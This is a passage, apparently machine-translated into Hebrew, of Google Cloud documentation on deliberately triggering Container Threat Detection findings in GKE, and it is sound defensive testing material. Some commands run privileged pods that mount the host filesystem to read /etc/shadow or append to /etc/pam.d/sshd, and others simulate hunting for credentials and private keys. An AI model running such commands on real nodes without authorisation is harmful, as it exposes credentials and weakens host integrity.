Google uses AI technology to translate content into your preferred language. AI translations can contain errors.

בדיקת זיהוי איומים בקונטיינר

בדף הזה מוסבר איך לוודא שזיהוי איומים בקונטיינר פועל. לשם כך, מפעילים בכוונה גלאים ובודקים אם יש ממצאים. זיהוי איומים בקונטיינר הוא שירות מובנה במהדורות Premium ו-Enterprise של Security Command Center. כדי לראות את הממצאים של זיהוי איומים בקונטיינר, צריך להפעיל את זיהוי האיומים בקונטיינר בהגדרות Services ב-Security Command Center.

לפני שמתחילים

כדי לזהות איומים פוטנציאליים על הקונטיינרים, צריך לוודא שהאשכולות שלכם הם בגרסה נתמכת של Google Kubernetes Engine ‏ (GKE). מידע נוסף זמין במאמר בנושא שימוש בגרסה נתמכת של GKE. אם רוצים לבדוק זיהוי איומים ב-ARM, צריך אשכול עם מאגר צמתים שמכיל מופעי ARM. מידע נוסף זמין במאמר עומסי עבודה של Arm ב-GKE.

הפעלת גלאים

חלק מהגלאים מושבתים כברירת מחדל. כדי לבדוק את אמצעי הזיהוי האלה, צריך קודם להפעיל אותם. רשימה מלאה של מזהים שמושבתים כברירת מחדל מופיעה במאמר מזהים מושבתים.

כדי לבדוק את הסטטוס של כל הגלאים, מריצים את הפקודה הבאה:

export PROJECT=PROJECT_ID
gcloud alpha scc settings services describe \
    --service=CONTAINER_THREAT_DETECTION \
    --project=${PROJECT}

כדי להפעיל גלאי, מריצים את הפקודה הבאה:
```
gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=MODULE_NAME \
    --project=${PROJECT}
```
מחליפים את MODULE_NAME בשם המודול של אמצעי הזיהוי שרוצים להפעיל. רשימה מלאה של גלאים ושמות המודולים התואמים שלהם מופיעה במאמר זיהוי איומים בקונטיינר.

לדוגמה, כדי להפעיל את הכלי לזיהוי Added Binary Executed, מריצים את הפקודה הבאה:
```
gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_BINARY_EXECUTED \
    --project=${PROJECT}
```

הגדרה של משתני סביבה

כדי לבדוק את אמצעי הזיהוי, משתמשים במסוף Google Cloud וב-Cloud Shell. אפשר להגדיר משתני סביבה ב-Cloud Shell כדי להקל על הפעלת פקודות. המשתנים הבאים משמשים לבדיקת כל הגלאים של זיהוי איומים בקונטיינר.

עוברים אל Google Cloud המסוף.

כניסה ל Google Cloud מסוף
בוחרים את הפרויקט שמכיל את מאגר התגים שרוצים להשתמש בו לבדיקה.
לוחצים על הפעלת Cloud Shell.
ב-Cloud Shell, מגדירים משתני סביבה.
1. האזור שבו נמצא האשכול:
```
export ZONE=CLUSTER_ZONE
```
2. הפרויקט שבו נמצא הקונטיינר:
```
export PROJECT=PROJECT_ID
```
3. שם האשכול:
```
export CLUSTER_NAME=CLUSTER_NAME
```

המשתנים מוגדרים. בסעיפים הבאים מפורטות הוראות לבדיקת גלאים של זיהוי איומים בקונטיינר.

נוסף קובץ בינארי שהופעל

כדי להפעיל את הממצא Added Binary Executed, מעבירים קובץ בינארי למאגר ומריצים אותו. בדוגמה הזו מתבצעת פריסה של תמונת Ubuntu 24.04 העדכנית ביותר, העתקה של /bin/ls למיקום אחר ואז הפעלה של התמונה. הביצוע של הקובץ הבינארי לא צפוי כי העותק של הקובץ הבינארי לא היה חלק מקובץ אימג' של קונטיינר המקורי, גם אם קובץ האימג' הזה נמצא ב-Ubuntu 24.04, והקונטיינרים אמורים להיות בלתי ניתנים לשינוי.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

משחררים קובץ בינארי ומפעילים אותו:

צומת x86:

tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

צומת ARM:

tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
    {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
    "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
    "value": "arm64" } ]}}' \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

במסגרת הליך הבדיקה הזה נוצרת תוצאת בדיקה מסוג Added Binary Executed שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

להפחתת רעש, כשיוצרים קונטיינר בפעם הראשונה, זיהוי איומים בקונטיינר מסנן באופן זמני את הממצאים מסוג Added Binary Executed. כדי לראות את כל הממצאים מסוג Added Binary Executed בזמן הגדרת קונטיינר, צריך להוסיף את התחילית ktd-test לשם הקונטיינר או לשם ה-Pod, כמו בדוגמה.

‫Added Library Loaded

כדי להפעיל את הממצא Added Library Loaded (ספרייה שנוספה נטענה), משחררים ספרייה במאגר ואז טוענים אותה. בדוגמה הזו מתבצעת פריסה של תמונת Ubuntu 24.04 העדכנית ביותר, מתבצעת העתקה של /lib/x86_64-linux-gnu/libc.so.6 למיקום אחר, ואז מתבצעת טעינה באמצעות ld. הספרייה שנטענה לא צפויה כי העותק של הספרייה לא היה חלק מקובץ אימג' של קונטיינר המקורית, גם אם התמונה הזו נמצאת ב-Ubuntu 24.04, והקונטיינרים אמורים להיות בלתי ניתנים לשינוי.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

משחררים ספרייה ומשתמשים ב-ld כדי לטעון אותה:

צומת x86:

tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"

צומת ARM:

tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"

במסגרת הליך הבדיקה הזה נוצרת תוצאת בדיקה מסוג Added Library Loaded שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center ברמת הארגון.

לצורך הפחתת רעש, כשיוצרים קונטיינר בפעם הראשונה, התכונה 'זיהוי איומים בקונטיינר' מסננת באופן זמני את הממצאים של 'ספרייה שנוספה נטענה'. כדי לראות את כל הממצאים של Added Library Loaded בזמן הגדרת קונטיינר, צריך להוסיף את הקידומת ktd-test לשם הקונטיינר או לשם ה-Pod, כמו בדוגמה.

אוסף: שינוי של Pam.d (תצוגה מקדימה)

כדי להפעיל זיהוי של שינוי ב-pam.d, משנים אחד מהקבצים שקשורים ל-PAM במארח. בדוגמה הזו פורס קובץ האימג' האחרון של Ubuntu 24.04, מערכת קבצים בסיסית של המארח מועברת לקונטיינר ואז מתבצע שינוי ב-/etc/pam.d/sshd.

זהו גלאי לניטור קבצים, ויש לו דרישות ספציפיות לגבי גרסת GKE.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מריצים קובץ בינארי שמשנה אחד מהקבצים שקשורים ל-PAM במארח.

צומת x86:

tag="ktd-test-pamd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

צומת ARM:

tag="ktd-test-pamd-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

הליך הבדיקה הזה מפעיל ממצא של שינוי ב-pam.d שאפשר לראות ב-Security Command Center, ואם הגדרתם רישום ביומן לזיהוי איומים בקונטיינר, גם ב-Cloud Logging. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center ברמת הארגון.

Command and Control: Piped Encoded Code Execution

כדי להפעיל ממצא Command and Control: Piped Encoded Code Execution, קובץ בינארי שיכול לבצע קוד, כמו python, צריך להעביר פקודת פענוח base64 לביצוע שלו. בדוגמה הזו נעשה שימוש בתמונה העדכנית של Ubuntu 24.04. הוא משתמש ב-echo כדי להעביר מחרוזת מקודדת שמדפיסה Hello World ובקובץ ההפעלה python. התנהגות כזו מסומנת כחשודה כי היא יכולה להצביע על ניסיון להריץ סקריפט זדוני על ידי תוקף.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

פענוח של מחרוזת בקידוד Base64 והעברה שלה ל-python:

צומת x86:

tag="ktd-test-piped-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/python; echo \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d | /tmp/python; sleep 10"

צומת ARM:

tag="ktd-test-piped-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/python; echo \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d | /tmp/python; sleep 10"

במסגרת הליך הבדיקה הזה נוצרת Command and Control: Piped Encoded Code Executionממצא שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

Command and Control: Piped Encoded Download

כדי להפעיל ממצא מסוג Command and Control: Piped Encoded Download, צריך להעביר קובץ הפעלה כמו curl לפקודת פענוח base64. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. הוא מעתיק את /bin/echo, משנה את השם שלו ל-curl ואז מעביר קריאת curl מדומה ל-base64. ההתנהגות הזו מסומנת כחשודה כי היא יכולה להעיד על ניסיון להוריד ולפענח סקריפט זדוני כדי שתוקף יוכל להשתמש בו בהמשך.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מריצים שיחה עם curl ומעבירים אותה ל-base64 -d:

צומת x86:

tag="ktd-test-piped-dl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/curl; /tmp/curl \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d; sleep 10"

צומת ARM:

tag="ktd-test-piped-dl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/curl; /tmp/curl \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d; sleep 10"

במסגרת הליך הבדיקה הזה נוצרת Command and Control: Piped Encoded Downloadממצא שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

Command and Control: Steganography Tool Detected

כדי להפעיל איתור של Command and Control: Steganography Tool Detected (תצוגה מקדימה), צריך להפעיל בתוך מאגר קובץ בינארי עם יכולות מניפולציה של קבצים, שתואמות לכלי סטגנוגרפיה. בדוגמה הזו נעשה שימוש בתמונה העדכנית של Ubuntu 24.04. הוא מעתיק את /bin/ls ומשנה את השם שלו ל-steghide (או לכלי סטגנוגרפיה אחר כמו stegano). ההתנהגות הזו מסומנת כחשודה כי היא יכולה להצביע על ניסיון להכין קונטיינר להסתרה או לחילוץ של נתונים, אולי למטרות זדוניות.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

הפעלת קובץ בינארי של כלי סטגנוגרפיה כמו steghide:

צומת x86:

tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/steghide; /tmp/steghide"

צומת ARM:

tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/steghide; /tmp/steghide"

במהלך הליך הבדיקה הזה נוצר ממצא Command and Control: Steganography Tool Detected שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

גישה לפרטי כניסה: גישה לקבצים רגישים בצמתים (תצוגה מקדימה)

כדי להפעיל זיהוי של גישה לקובץ רגיש, קוראים את קובץ /etc/shadow של המארח. בדוגמה הזו מתבצעת פריסה של קובץ האימג' האחרון של Ubuntu 24.04, מתבצעת טעינה של מערכת הקבצים הבסיסית של המארח בקונטיינר, ואז מתבצעת קריאה של /etc/shadow באמצעות cat.

זהו גלאי לניטור קבצים, ויש לו דרישות ספציפיות לגבי גרסת GKE.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מריצים קובץ בינארי שקורא את הקובץ /etc/shadow של המארח.

צומת x86:

tag="ktd-test-sfa-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["/bin/cat", "/host/etc/shadow"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

צומת ARM:

tag="ktd-test-sfa-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["/bin/cat", "/host/etc/shadow"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

הליך הבדיקה הזה מפעיל ממצא של גישה לקובץ רגיש שאפשר לראות ב-Security Command Center, ואם הגדרתם רישום ביומן של זיהוי איומים בקונטיינר, גם ב-Cloud Logging. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center ברמת הארגון.

גישה לפרטי כניסה: מציאת Google Cloud פרטי כניסה

כדי להפעיל את הממצא Credential Access: Find Google Cloud Credentials, צריך להריץ קובץ בינארי שיכול לחפש תוכן של קובץ בתוך קונטיינר. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. הוא מעתיק את /bin/ls ומשנה את השם שלו ל-grep. אחר כך מופעל קובץ הבינארי ששמו שונה עם ארגומנטים שמציינים דפוס חיפוש שמצביע על סוג של Google Cloud אישורים. הפעולה הזו מסומנת כחשודה כי היא מחקה את ההתנהגות שנצפתה בניסיון לאתר אישורים של Google Cloud .

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מריצים קובץ בינארי של כלי חיפוש כמו find עם הארגומנטים המתאימים:

צומת x86:

tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"

צומת ARM:

tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"

במסגרת הליך הבדיקה הזה נוצר ממצא Credential Access: Find Google Cloud Credentials שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם את Cloud Logging לזיהוי איומים בקונטיינרים. האפשרות להציג ממצאים ב-Cloud Logging זמינה רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

גישה לפרטי כניסה: מודיעין על מפתח GPG

כדי להפעיל את הממצא Credential Access: GPG Key Reconnaissance, צריך להריץ קובץ בינארי שיכול לחפש תוכן של קובץ בתוך קונטיינר. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. הוא מעתיק את /bin/ls ומשנה את השם שלו ל-find (או לכלי חיפוש מתאים אחר כמו grep). לאחר מכן, הקובץ הבינארי ששמו שונה מופעל עם ארגומנטים שמציינים דפוס חיפוש שמצביע על מפתחות פרטיים או סיסמאות, או תבניות תוכן שמצביעות על סיסמאות או סודות. הפעולה הזו מסומנת כחשודה כי היא דומה להתנהגות שנצפית כשמנסים לאתר מפתחות אבטחה של GPG.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מריצים קובץ בינארי של כלי חיפוש כמו find עם הארגומנטים המתאימים:

צומת x86:

tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find secring.gpg"

צומת ARM:

tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find secring.gpg"

במהלך הליך הבדיקה הזה נוצרת Credential Access: GPG Key Reconnaissanceממצא שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

גישה לפרטי כניסה: חיפוש מפתחות פרטיים או סיסמאות

כדי להפעיל את הממצא Credential Access: Search Private Keys or Passwords, צריך להריץ קובץ בינארי שיכול לחפש תוכן של קובץ בתוך קונטיינר. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. הוא מעתיק את /bin/ls ומשנה את השם שלו ל-find (או לכלי חיפוש מתאים אחר כמו grep). לאחר מכן, הקובץ הבינארי ששמו שונה מופעל עם ארגומנטים שמציינים דפוס חיפוש שמצביע על מפתחות פרטיים או סיסמאות, או תבניות תוכן שמצביעות על סיסמאות או סודות. הפעולה הזו מסומנת כחשודה כי היא מחקה את ההתנהגות שנצפתה בניסיון לאתר מידע רגיש כמו מפתחות פרטיים או סיסמאות בסביבה בקונטיינרים.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מריצים קובץ בינארי של כלי חיפוש כמו find עם הארגומנטים המתאימים:

צומת x86:

tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

צומת ARM:

tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

במהלך הליך הבדיקה הזה נוצר ממצא Credential Access: Search Private Keys or Passwords שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

התחמקות מהגנה: שורת פקודה של קובץ ELF בפורמט Base64

כדי להפעיל ממצא Defense Evasion: Base64 ELF File Command Line, התהליך צריך לכלול את base64 כארגומנט ואת f0VMRgIB כארגומנט, שהוא הצורה המקודדת ב-Base64 של ELF. בדוגמה הזו נשתמש בתמונה העדכנית ביותר של Ubuntu 24.04. לאחר מכן, הפקודה base64 מופעלת עם הארגומנטים -d ו-f0VMRgIB. הפעולה הזו מסומנת כחשודה כי היא מחקה את ההתנהגות שנצפתה בניסיון לפענח נתונים בינאריים כדי להריץ קוד זדוני.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מריצים קובץ בינארי של כלי חיפוש כמו find עם הארגומנטים המתאימים:

צומת x86:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "base64 -d f0VMRgIB"

צומת ARM:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "base64 -d f0VMRgIB"

במהלך הליך הבדיקה הזה נוצרים שני ממצאים שמוצגים ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Cloud Logging לזיהוי איומים בקונטיינרים.Defense Evasion: Base64 ELF File Command Line אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center. נוצרות שתי תוצאות כי גם הפקודה הראשונית bash -c וגם הביצוע של הפקודה base64 -d עומדים בקריטריונים של התוצאה.

התחמקות מהגנה: סקריפט Python שעבר קידוד Base64 הופעל

כדי להפעיל ממצא Defense Evasion: Base64 Encoded Python Script Executed, התהליך צריך לכלול את echo או base64 כארגומנט, ואת aW1wb3J0IH כארגומנט שהוא הצורה בקידוד base64 של python -c. בדוגמה הזו נשתמש בתמונה העדכנית ביותר של Ubuntu 24.04. הפונקציה echo מופעלת עם הארגומנט aW1wb3J0IH. הפעולה הזו מסומנת כחשודה כי היא מחקה את ההתנהגות שנצפתה בניסיון לפענח נתונים בינאריים כדי להריץ קוד זדוני.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מריצים קובץ בינארי של כלי חיפוש כמו find עם הארגומנטים המתאימים:

צומת x86:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "echo aW1wb3J0IH"

צומת ARM:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "echo aW1wb3J0IH"

במהלך הליך הבדיקה הזה נוצרת Defense Evasion: Base64 Encoded Python Script Executedממצא שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

התחמקות מהגנה: סקריפט מעטפת בקידוד Base64 הופעל

כדי להפעיל ממצא Defense Evasion: Base64 Encoded Shell Script Executed, התהליך צריך לכלול את echo או base64 כארגומנט, ואת IyEvYmluL2Jhc2gK כארגומנט שהוא הצורה בקידוד base64 של #!/bin/bash. בדוגמה הזו נשתמש בתמונה העדכנית ביותר של Ubuntu 24.04. הפונקציה echo מופעלת עם הארגומנט IyEvYmluL2Jhc2gK. הפעולה הזו מסומנת כחשודה כי היא מחקה את ההתנהגות שנצפתה בניסיון לפענח נתונים בינאריים כדי להריץ קוד זדוני.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

